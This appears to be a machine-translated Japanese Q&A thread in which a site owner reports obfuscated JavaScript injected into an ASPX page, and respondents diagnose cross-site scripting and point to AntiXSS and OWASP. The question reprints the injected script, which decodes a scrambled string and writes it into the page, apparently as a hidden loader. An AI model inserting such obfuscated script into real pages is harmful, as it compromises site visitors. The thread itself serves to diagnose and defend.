コードが挿入されています

今日私は自分のサイトがダウンしていることがわかりました...私はエラーをオフにし、エラーを追跡しました。 aspxページの一番下にいくつかのコードが追加されていることが判明しました。（下記のコードを見つけてください）。明らかに、コードには、私のaspxページが許さなかったいくつかのhtmlタグがありました。エラーが発生しました。コードが挿入されています

誰かが私のaspxページにコードを挿入することができる抜け穴があるかもしれないことを確認しなければならないsceneriosを知りませんか？

<html> 
<body> 
<script> 
var a=''; 
var b='%2/tafod%h2b233 Cstx-ri2%%32d%i e%/i.nci5g%e%%% 30hisen%h2%%r0/ irt-cis232D0e2f %22mcmimt2t2o2CEr%%nrae2%h2r%%a mDAlmu.w2i5mDEe fcpahch%D0%fr2r a33aond02e2a33m '; 
var c='5314869720'; 
for(var i=0;i<16;i++) for(var j=0;j<10;j++) a+=b.charAt((parseInt(c.charAt(j))*16)+i); 
document.writeln(unescape(a)); 
</script> 
</body>  
</html>

出典

2012-03-27 pessi

それは、ウェブサイトのどのような？あなたの訪問者があなたのウェブサイトにテキストを挿入することを許可していますか？（shoutbox、forum ...） – walther

[AntiXSS]（http://wpl.codeplex.com/） –

@Tim Schmelter - それも私たちが使っているものです！大好きです。 – David

私にはcross-site scripting (XSS)のようです。 SQLインジェクション直後の＃2最も一般的な攻撃です。

あなたの経験や背景はわかりませんが、あなたがXSSを認識しておらず、あなたがウェブデベロッパーである場合は、私は強くお勧めします。 OWASPは素晴らしいリソースです。

XSSはあなたのウェブサイトに行く人に影響を与えるだけでなく、CSRF (Cross-Site Request Forgery)のおかげでXSSは視聴者がログインしているattack on other websitesに利用できるので、あなたとあなたのウェブサイトだけでなく他の人も同様に影響します。

出典

2012-03-27 21:33:42 David

ありがとうございます。今読んで！そして、私は速い学習者です。 – pessi

ところで...コードを1ページに挿入したら、この特定のページに問題があると思いますか？ – pessi

この特定のページに問題があると仮定できますが、この特定のページにのみ問題があるとは限りません。あなたが読んでいるすべての短いバージョンは、信頼できないすべてのデータをページに吐き出す前に常にエスケープすることです。 @TimSchmelterは.NETを使用しているので、ウェブ保護ライブラリを使用し、NiKの答えのリンクも読んでください。がんばろう！ – David

はいダビデは権利である...あなたはこのことができますPrevent Cross-Site Scripting

希望を読み始めることが...

出典

2012-03-27 21:38:54 NiK

良い記事。投稿していただきありがとうございます！ – David

コードが挿入されています

答えて

関連する問題